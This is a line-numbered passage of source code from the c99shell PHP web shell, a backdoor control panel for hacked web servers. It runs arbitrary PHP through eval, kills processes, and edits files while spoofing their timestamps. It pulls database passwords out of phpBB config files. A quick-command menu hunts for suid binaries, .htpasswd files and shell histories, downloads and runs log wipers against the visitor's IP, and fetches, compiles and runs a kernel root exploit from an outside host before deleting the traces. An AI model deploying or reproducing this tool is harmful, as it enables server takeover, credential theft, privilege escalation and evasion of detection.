  2265. echo "<b>Processes:</b><br>";
  2266. if (!$win) {$handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":"");}
  2267. else {$handler = "tasklist";}
  2268. $ret = myshellexec($handler);
  2269. if (!$ret) {echo "</br>Can't execute \"".$handler."\"!";}
  2270. else
  2271. {
  2272. if (empty($processes_sort)) {$processes_sort = $sort_default;}
  2273. $parsesort = parsesort($processes_sort);
  2274. if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
  2275. $k = $parsesort[0];
  2276. if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\">[sort_desc]</a>";}
  2277. else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\">[sort_asc]</a>";}
  2278. $ret = htmlspecialchars($ret);
  2279. if (!$win)
  2280. {
  2281. if ($pid)
  2282. {
  2283. if (is_null($sig)) {$sig = 9;}
  2284. echo "Sending signal ".$sig." to #".$pid."... ";
  2285. if (posix_kill($pid,$sig)) {echo "OK.";}
  2286. else {echo "ERROR.";}
  2287. }
  2288. while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
  2289. $stack = explode("\n",$ret);
  2290. $head = explode(" ",$stack[0]);
  2291. unset($stack[0]);
  2292. for($i=0;$i<count($head);$i++)
  2293. {
  2294. if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
  2295. }
  2296. $prcs = array();
  2297. foreach ($stack as $line)
  2298. {
  2299. if (!empty($line))
  2300. {
  2301. echo "<tr>";
  2302. $line = explode(" ",$line);
  2303. $line[10] = join(" ",array_slice($line,10));
  2304. $line = array_slice($line,0,11);
  2305. if ($line[0] == get_current_user()) {$line[0] = "<font color=red>".$line[0]."</font>";}
  2306. $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
  2307. $prcs[] = $line;
  2308. echo "</tr>";
  2309. }
  2310. }
  2311. }
  2312. else
  2313. {
  2314. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  2315. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  2316. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  2317. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  2318. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  2319. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  2320. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  2321. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  2322. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  2323. while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
  2324. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  2325. $ret = convert_cyr_string($ret,"d","w");
  2326. $stack = explode("\n",$ret);
  2327. unset($stack[0],$stack[2]);
  2328. $stack = array_values($stack);
  2329. $head = explode("",$stack[0]);
  2330. $head[1] = explode(" ",$head[1]);
  2331. $head[1] = $head[1][0];
  2332. $stack = array_slice($stack,1);
  2333. unset($head[2]);
  2334. $head = array_values($head);
  2335. if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\">[sort_desc]</a>";}
  2336. else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\">[sort_asc]</a>";}
  2337. if ($k > count($head)) {$k = count($head)-1;}
  2338. for($i=0;$i<count($head);$i++)
  2339. {
  2340. if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";}
  2341. }
  2342. $prcs = array();
  2343. foreach ($stack as $line)
  2344. {
  2345. if (!empty($line))
  2346. {
  2347. echo "<tr>";
  2348. $line = explode("",$line);
  2349. $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
  2350. $line[2] = intval(str_replace(" ","",$line[2]))*1024;
  2351. $prcs[] = $line;
  2352. echo "</tr>";
  2353. }
  2354. }
  2355. }
  2356. $head[$k] = "<b>".$head[$k]."</b>".$y;
  2357. $v = $processes_sort[0];
  2358. usort($prcs,"tabsort");
  2359. if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
  2360. $tab = array();
  2361. $tab[] = $head;
  2362. $tab = array_merge($tab,$prcs);
  2363. echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
  2364. foreach($tab as $i=>$k)
  2365. {
  2366. echo "<tr>";
  2367. foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
  2368. echo "</tr>";
  2369. }
  2370. echo "</table>";
  2371. }
  2372. }
  2373. if ($act == "eval")
  2374. {
  2375. if (!empty($eval))
  2376. {
  2377. echo "<b>Result of execution this PHP-code</b>:<br>";
  2378. $tmp = ob_get_contents();
  2379. $olddir = realpath(".");
  2380. @chdir($d);
  2381. if ($tmp)
  2382. {
  2383. ob_clean();
  2384. eval($eval);
  2385. $ret = ob_get_contents();
  2386. $ret = convert_cyr_string($ret,"d","w");
  2387. ob_clean();
  2388. echo $tmp;
  2389. if ($eval_txt)
  2390. {
  2391. $rows = count(explode("\r\n",$ret))+1;
  2392. if ($rows < 10) {$rows = 10;}
  2393. echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  2394. }
  2395. else {echo $ret."<br>";}
  2396. }
  2397. else
  2398. {
  2399. if ($eval_txt)
  2400. {
  2401. echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
  2402. eval($eval);
  2403. echo "</textarea>";
  2404. }
  2405. else {echo $ret;}
  2406. }
  2407. @chdir($olddir);
  2408. }
  2409. else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  2410. echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  2411. }
  2412. if ($act == "f")
  2413. {
  2414. if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
  2415. {
  2416. if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  2417. else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  2418. }
  2419. else
  2420. {
  2421. $r = @file_get_contents($d.$f);
  2422. $ext = explode(".",$f);
  2423. $c = count($ext)-1;
  2424. $ext = $ext[$c];
  2425. $ext = strtolower($ext);
  2426. $rft = "";
  2427. foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  2428. if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  2429. if (empty($ft)) {$ft = $rft;}
  2430. $arr = array(
  2431. array("[hex]","info"),
  2432. array("[html]","html"),
  2433. array("[txt]","txt"),
  2434. array("[Code]","code"),
  2435. array("[Session]","phpsess"),
  2436. array("[exe]","exe"),
  2437. array("[SDB]","sdb"),
  2438. array("[gif]","img"),
  2439. array("[ini]","ini"),
  2440. array("[download]","download"),
  2441. array("[rtf]","notepad"),
  2442. array("[change]","edit")
  2443. );
  2444. echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;[$ext]&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  2445. foreach($arr as $t)
  2446. {
  2447. if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=red>".$t[0]."</font></a>";}
  2448. elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
  2449. else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
  2450. echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  2451. }
  2452. echo "<hr size=\"1\" noshade>";
  2453. if ($ft == "info")
  2454. {
  2455. echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
  2456. if (!$win)
  2457. {
  2458. echo "<tr><td><b>Owner/Group</b></td><td> ";
  2459. $ow = posix_getpwuid(fileowner($d.$f));
  2460. $gr = posix_getgrgid(filegroup($d.$f));
  2461. echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
  2462. }
  2463. echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
  2464. $fi = fopen($d.$f,"rb");
  2465. if ($fi)
  2466. {
  2467. if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
  2468. else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
  2469. $n = 0;
  2470. $a0 = "00000000<br>";
  2471. $a1 = "";
  2472. $a2 = "";
  2473. for ($i=0; $i<strlen($str); $i++)
  2474. {
  2475. $a1 .= sprintf("%02X",ord($str[$i]))." ";
  2476. switch (ord($str[$i]))
  2477. {
  2478. case 0: $a2 .= "<font>0</font>"; break;
  2479. case 32:
  2480. case 10:
  2481. case 13: $a2 .= "&nbsp;"; break;
  2482. default: $a2 .= htmlspecialchars($str[$i]);
  2483. }
  2484. $n++;
  2485. if ($n == $hexdump_rows)
  2486. {
  2487. $n = 0;
  2488. if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
  2489. $a1 .= "<br>";
  2490. $a2 .= "<br>";
  2491. }
  2492. }
  2493. //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
  2494. echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
  2495. }
  2496. $encoded = "";
  2497. if ($base64 == 1)
  2498. {
  2499. echo "<b>Base64 Encode</b><br>";
  2500. $encoded = base64_encode(file_get_contents($d.$f));
  2501. }
  2502. elseif($base64 == 2)
  2503. {
  2504. echo "<b>Base64 Encode + Chunk</b><br>";
  2505. $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
  2506. }
  2507. elseif($base64 == 3)
  2508. {
  2509. echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
  2510. $encoded = base64_encode(file_get_contents($d.$f));
  2511. $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
  2512. }
  2513. elseif($base64 == 4)
  2514. {
  2515. $text = file_get_contents($d.$f);
  2516. $encoded = base64_decode($text);
  2517. echo "<b>Base64 Decode";
  2518. if (base64_encode($encoded) != $text) {echo " (failed)";}
  2519. echo "</b><br>";
  2520. }
  2521. if (!empty($encoded))
  2522. {
  2523. echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
  2524. }
  2525. echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
  2526. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
  2527. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
  2528. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
  2529. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
  2530. <P>";
  2531. }
  2532. elseif ($ft == "html")
  2533. {
  2534. if ($white) {@ob_clean();}
  2535. echo $r;
  2536. if ($white) {c99shexit();}
  2537. }
  2538. elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  2539. elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
  2540. elseif ($ft == "phpsess")
  2541. {
  2542. echo "<pre>";
  2543. $v = explode("|",$r);
  2544. echo $v[0]."<br>";
  2545. var_dump(unserialize($v[1]));
  2546. echo "</pre>";
  2547. }
  2548. elseif ($ft == "exe")
  2549. {
  2550. $ext = explode(".",$f);
  2551. $c = count($ext)-1;
  2552. $ext = $ext[$c];
  2553. $ext = strtolower($ext);
  2554. $rft = "";
  2555. foreach($exeftypes as $k=>$v)
  2556. {
  2557. if (in_array($ext,$v)) {$rft = $k; break;}
  2558. }
  2559. $cmd = str_replace("%f%",$f,$rft);
  2560. echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
  2561. }
  2562. elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  2563. elseif ($ft == "code")
  2564. {
  2565. if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
  2566. {
  2567. $arr = explode("\n",$r);
  2568. if (count($arr == 18))
  2569. {
  2570. include($d.$f);
  2571. echo "<b>phpBB configuration is detected in this file!<br>";
  2572. if ($dbms == "mysql4") {$dbms = "mysql";}
  2573. if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
  2574. else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
  2575. echo "Parameters for manual connect:<br>";
  2576. $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
  2577. foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
  2578. echo "</b><hr size=\"1\" noshade>";
  2579. }
  2580. }
  2581. echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  2582. if (!empty($white)) {@ob_clean();}
  2583. highlight_file($d.$f);
  2584. if (!empty($white)) {c99shexit();}
  2585. echo "</div>";
  2586. }
  2587. elseif ($ft == "download")
  2588. {
  2589. @ob_clean();
  2590. header("Content-type: application/octet-stream");
  2591. header("Content-length: ".filesize($d.$f));
  2592. header("Content-disposition: attachment; filename=\"".$f."\";");
  2593. echo $r;
  2594. exit;
  2595. }
  2596. elseif ($ft == "notepad")
  2597. {
  2598. @ob_clean();
  2599. header("Content-type: text/plain");
  2600. header("Content-disposition: attachment; filename=\"".$f.".txt\";");
  2601. echo($r);
  2602. exit;
  2603. }
  2604. elseif ($ft == "img")
  2605. {
  2606. $inf = getimagesize($d.$f);
  2607. if (!$white)
  2608. {
  2609. if (empty($imgsize)) {$imgsize = 20;}
  2610. $width = $inf[0]/100*$imgsize;
  2611. $height = $inf[1]/100*$imgsize;
  2612. echo "<center><b>Size:</b>&nbsp;";
  2613. $sizes = array("100","50","20");
  2614. foreach ($sizes as $v)
  2615. {
  2616. echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
  2617. if ($imgsize != $v ) {echo $v;}
  2618. else {echo "<u>".$v."</u>";}
  2619. echo "</a>&nbsp;&nbsp;&nbsp;";
  2620. }
  2621. echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
  2622. }
  2623. else
  2624. {
  2625. @ob_clean();
  2626. $ext = explode($f,".");
  2627. $ext = $ext[count($ext)-1];
  2628. header("Content-type: ".$inf["mime"]);
  2629. readfile($d.$f);
  2630. exit;
  2631. }
  2632. }
  2633. elseif ($ft == "edit")
  2634. {
  2635. if (!empty($submit))
  2636. {
  2637. if ($filestealth) {$stat = stat($d.$f);}
  2638. $fp = fopen($d.$f,"w");
  2639. if (!$fp) {echo "<b>Can't write to file!</b>";}
  2640. else
  2641. {
  2642. echo "<b>Saved!</b>";
  2643. fwrite($fp,$edit_text);
  2644. fclose($fp);
  2645. if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
  2646. $r = $edit_text;
  2647. }
  2648. }
  2649. $rows = count(explode("\r\n",$r));
  2650. if ($rows < 10) {$rows = 10;}
  2651. if ($rows > 30) {$rows = 30;}
  2652. echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  2653. }
  2654. elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  2655. else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
  2656. }
  2657. }
  2658. }
  2659. else
  2660. {
  2661. @ob_clean();
  2662. //For simple size- and speed-optimization.
  2663. $imgequals = array(
  2664. "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  2665. "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  2666. "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  2667. "ext_html"=>array("ext_html","ext_htm"),
  2668. "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  2669. "ext_lnk"=>array("ext_lnk","ext_url"),
  2670. "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  2671. "ext_doc"=>array("ext_doc","ext_dot"),
  2672. "ext_js"=>array("ext_js","ext_vbs"),
  2673. "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  2674. "ext_wri"=>array("ext_wri","ext_rtf"),
  2675. "ext_swf"=>array("ext_swf","ext_fla"),
  2676. "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  2677. "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
  2678. );
  2679. if (!$getall)
  2680. {
  2681. header("Content-type: image/gif");
  2682. header("Cache-control: public");
  2683. header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  2684. header("Cache-control: max-age=".(60*60*24*7));
  2685. header("Last-Modified: ".date("r",filemtime(__FILE__)));
  2686. foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  2687. if (empty($images[$img])) {$img = "small_unk";}
  2688. if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  2689. echo base64_decode($images[$img]);
  2690. }
  2691. else
  2692. {
  2693. foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  2694. natsort($images);
  2695. $k = array_keys($images);
  2696. echo "<center>";
  2697. foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
  2698. echo "</center>";
  2699. }
  2700. exit;
  2701. }
  2702. ?>
  2703. </td></tr></table><a bookmark="minipanel"><br><TABLE width=100% id=bordered>
  2704. <tr><td width="100%" height="1" valign="top"><center><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><br/><b>Local Command:</b> <input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE>
  2705. <br><TABLE width=100% id=bordered>
  2706. <tr>
  2707. <td width="50%" height="83" valign="top"><center>
  2708. <div align="center"><br/>
  2709. <b> Quick Commands </b></div>
  2710. <form action="<?php echo $surl; ?>">
  2711. <div align="center">
  2712. <input type=hidden name=act value="cmd">
  2713. <input type=hidden name="d" value="<?php echo $dispd; ?>">
  2714. <SELECT NAME="cmd">
  2715. <OPTION VALUE="#"> [File Manipulation]
  2716. <OPTION VALUE="">
  2717. <OPTION VALUE="lsattr -va">List file attributes on a Linux second extended file system
  2718. <OPTION VALUE="find / -type f -perm -04000 -ls">Find suid files
  2719. <OPTION VALUE="find . -type f -perm -04000 -ls">Find suid files in current directory
  2720. <OPTION VALUE="find / -type f -perm -02000 -ls">Find sgid files
  2721. <OPTION VALUE="find . -type f -perm -02000 -ls">Find sgid files in current directory
  2722. <OPTION VALUE="ls -lia">List you current directory's files, folders, & permissions
  2723. <OPTION VALUE="find / -type f -name config.inc.php">Find config.inc.php files
  2724. <OPTION VALUE="find . -type f -name config.inc.php">Find config.inc.php files in current directory
  2725. <OPTION VALUE="find / -type f -name "config*">Find config* files
  2726. <OPTION VALUE="find . -type f -name "config*">Find config* files in current directory
  2727. <OPTION VALUE="find / -type f -perm -2 -ls">Find all writable files
  2728. <OPTION VALUE="find . -type f -perm -2 -ls">Find all writable files in current directory
  2729. <OPTION VALUE="find / -perm -2 -ls">Find all writable directories and files
  2730. <OPTION VALUE="find . -perm -2 -ls">Find all writable directories and files in current directory
  2731. <OPTION VALUE="find / -type f -name service.pwd">Find all service.pwd files
  2732. <OPTION VALUE="find . -type f -name service.pwd">Find service.pwd files in current directory
  2733. <OPTION VALUE="find / -type f -name .htpasswd">Find all .htpasswd files
  2734. <OPTION VALUE="find . -type f -name .htpasswd">Find .htpasswd files in current directory
  2735. <OPTION VALUE="find / -type f -name .bash_history">Find all .bash_history files
  2736. <OPTION VALUE="find . -type f -name .bash_history">Find .bash_history files in current directory
  2737. <OPTION VALUE="find / -type f -name .mysql_history">Find all .mysql_history files
  2738. <OPTION VALUE="find . -type f -name .mysql_history">Find .mysql_history files in current directory
  2739. <OPTION VALUE="find / -type f -name .fetchmailrc">Find all .fetchmailrc files
  2740. <OPTION VALUE="find . -type f -name .fetchmailrc">Find .fetchmailrc files in current directory
  2741. <OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs
  2742. <OPTION VALUE="">
  2743. <OPTION VALUE="#"> [Directory Malipulation]
  2744. <OPTION VALUE="">
  2745. <OPTION VALUE="pwd">List your current directory
  2746. <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Is /etc/ writable?
  2747. <OPTION VALUE="find / -type d -perm -2 -ls">Find all writable directories
  2748. <OPTION VALUE="find . -type d -perm -2 -ls">Find all writable directories in current directory
  2749. <OPTION VALUE="find / -type d -perm -2 -ls">Find all writable directories
  2750. <OPTION VALUE="find . -type d -perm -2 -ls">Find all writable directories in current directory
  2751. <OPTION VALUE="">
  2752. <OPTION VALUE="#"> [Miscellaneous Commands]
  2753. <OPTION VALUE="">
  2754. <OPTION VALUE="tar -cvf NEWTAR!!.tar -c <?php passthru('pwd'); ?>">Tar your current directory. (Only works if the directory is writable)
  2755. <OPTION VALUE="uname -a">Kernel version
  2756. <OPTION VALUE="w">Logged in users
  2757. <OPTION VALUE="lastlog">Last users to connect
  2758. <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
  2759. <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">Users without passwords
  2760. <OPTION VALUE="cat /proc/version /proc/cpuinfo">CpuInfo
  2761. <OPTION VALUE="netstat -atup | grep IST">Open ports
  2762. <OPTION VALUE="">
  2763. <OPTION VALUE="#"> [Application Verification]
  2764. <OPTION VALUE="">
  2765. <OPTION VALUE="which wget curl w3m lynx">Check For Downloaders (WGET, et cetera)
  2766. <OPTION VALUE="locate gcc">Check For GCC
  2767. <OPTION VALUE="">
  2768. <OPTION VALUE="#"> [Log Cleaners]
  2769. <OPTION VALUE="">
  2770. <OPTION VALUE="wget http://packetstormsecurity.org/UNIX/penetration/log-wipers/logcleaner-0.3.c">Wipelogs (Part 1)(Zap3)
  2771. <OPTION VALUE="gcc logcleaner-0.3.c -o logcleaner-0.3">Wipelogs (Part 2)(Zap3)
  2772. <OPTION VALUE="./logcleaner-0.3 <? echo $_SERVER["REMOTE_ADDR"]; ?>">Wipelogs (Part 3)(Zap3)
  2773. <OPTION VALUE="Gone!<? if($_REQUEST['cmd']=="Gone!") { if (file_exists("logcleaner-0.3.c")) { unlink("logcleaner-0.3.c"); } if (file_exists("logcleaner-0.3")) { unlink("logcleaner-0.3"); } } ?>">Remove All Zap3 Traces
  2774. <OPTION VALUE="">
  2775. <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/vanish.c">Wipelogs (Part 1)(Vanish)
  2776. <OPTION VALUE="gcc vanish.c -o vanish">Wipelogs (Part 2)(Vanish)
  2777. <OPTION VALUE="./vanish <? echo exec('whoami'); ?> <? echo $_SERVER["REMOTE_ADDR"]; ?> <? echo gethostbyname($_SERVER["HTTP_HOST"]); ?>">Wipelogs (Part 3)(Vanish)
  2778. <OPTION VALUE="Gone!!<? if($_REQUEST['cmd']=="Gone!!") { if (file_exists("vanish.c")) { unlink("vanish.c"); } if (file_exists("vanish")) { unlink("vanish"); } } ?>">Remove All Vanish Traces
  2779. <OPTION VALUE="">
  2780. <OPTION VALUE="#"> [Root Exploits]
  2781. <OPTION VALUE="">
  2782. <OPTION VALUE="wget http://www.synsta.templatez.org/1.txt">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 1)
  2783. <OPTION VALUE="mv 1.txt exploit.c">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 2)
  2784. <OPTION VALUE="gcc exploit.c -o exploit">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 3)
  2785. <OPTION VALUE="./exploit">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 4)
  2786. <OPTION VALUE="Gone!!!<? if($_REQUEST['cmd']=="Gone!!!") { if (file_exists("exploit.c")) { unlink("exploit.c"); } if (file_exists("1.txt")) { unlink("1.txt"); } if (file_exists("exploit")) { unlink("exploit"); } } ?>">Remove All Exploit Traces
  2787. </SELECT>
  2788.  
  2789. <input type=hidden name="cmd_txt" value="1">
  2790. &nbsp;
  2791. <input type=submit name=submit value="Execute"></div>
  2792. </form>
  2793. </td>
  2794. <td width="50%" height="83" valign="top"><center>
  2795. <center><br/><b> Kernel Information </b>
  2796. <form action=http://google.com/search name=f><input type=hidden name=client value="firefox-a"><input type=hidden name=rls value="org.mozilla:en-US:official_s"><input type=hidden name=hl value=en><input id=sf maxLength=256 name=q value="<?php echo wordwrap(php_uname()); ?>" size=80>
  2797. &nbsp;
  2798. <input type=submit value="Search" name=btnG></form>
  2799. </center>
  2800. </td>
  2801. </tr></TABLE>
  2802. <br>
  2803. <TABLE width=100% id=bordered>
  2804. <tr>
  2805. <td width="50%" height="83" valign="top"><center>
  2806. <div align="center"><strong>PHP Safe-Mode Bypass (Read Files) </strong></div>
  2807. <br>
  2808. <form action="<?php echo $surl; ?>" method="post">
